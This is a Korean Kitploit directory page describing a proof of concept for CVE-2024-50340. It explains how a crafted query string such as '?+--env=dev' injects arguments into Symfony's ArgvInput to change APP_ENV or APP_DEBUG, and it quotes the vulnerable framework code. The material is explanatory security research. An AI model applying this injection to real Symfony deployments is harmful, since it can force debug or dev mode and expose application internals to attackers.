Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/nyamort/cve-2024-50340
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnyamort/cve-2024-50340

CVE-2024-50340

CVE-2024-50340에 대한 개념 증명 익스플로잇으로, 조작된 URL 쿼리 매개변수를 통해 Symfony ArgvInput 환경 변수 주입을 시연하여 APP_ENV 및 APP_DEBUG 조작을 가능하게 합니다.

저장소 보기
121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-50340 POC

요구 사항

register_argc_argv 옵션이 PHP 구성 파일(php.ini)에서 활성화되어 있어야 합니다. 이 설정은 명령줄 인수와 쿼리 매개변수를 $_SERVER['argv']에 로드합니다. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

취약 코드 설명

이 Symfony 코드는 입력 인수(ArgvInput)를 사용하여 특정 환경 변수, 특히 APP_ENV와 APP_DEBUG의 값을 결정합니다. Symfony 코드의 관련 부분은 다음과 같습니다:

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

위 코드는 ArgvInput을 통해 제공된 인수를 처리합니다. argv에 --env 매개변수가 지정되면 그에 따라 APP_ENV 환경 변수가 업데이트됩니다. 마찬가지로 --no-debug가 있으면 APP_DEBUG를 0으로 설정합니다.

ArgvInput 클래스

ArgvInput 클래스는 명령줄, 쿼리 매개변수 또는 기본적으로 $_SERVER['argv']에 있는 argv 매개변수를 초기화합니다. array_shift($argv); 함수는 $argv 배열에서 첫 번째 요소(일반적으로 애플리케이션 이름)를 제거하고 나머지 인수를 $this->tokens에 저장합니다.

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

PoC 예제

다음 URL을 사용하여 http://localhost/?+--env=dev 를 통해 $_SERVER['argv']에 --env=dev 인수를 주입할 수 있습니다. 이를 통해 애플리케이션 구성을 직접 수정하지 않고도 APP_ENV 값을 dev로 변경할 수 있습니다.

  1. http://localhost/?+--env=dev 에 접근하면 $_SERVER['argv']는 다음과 같이 보일 수 있습니다:
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. ArgvInput 클래스에서 array_shift 연산 후 $argv는 다음과 같아집니다:
root@kitploit:~
$argv = ["--env=dev"];
  1. 그러면 ArgvInput은 --env=dev를 유효한 매개변수로 인식하고 getParameterOption 메서드를 통해 APP_ENV를 그에 따라 업데이트합니다.
도구 다운로드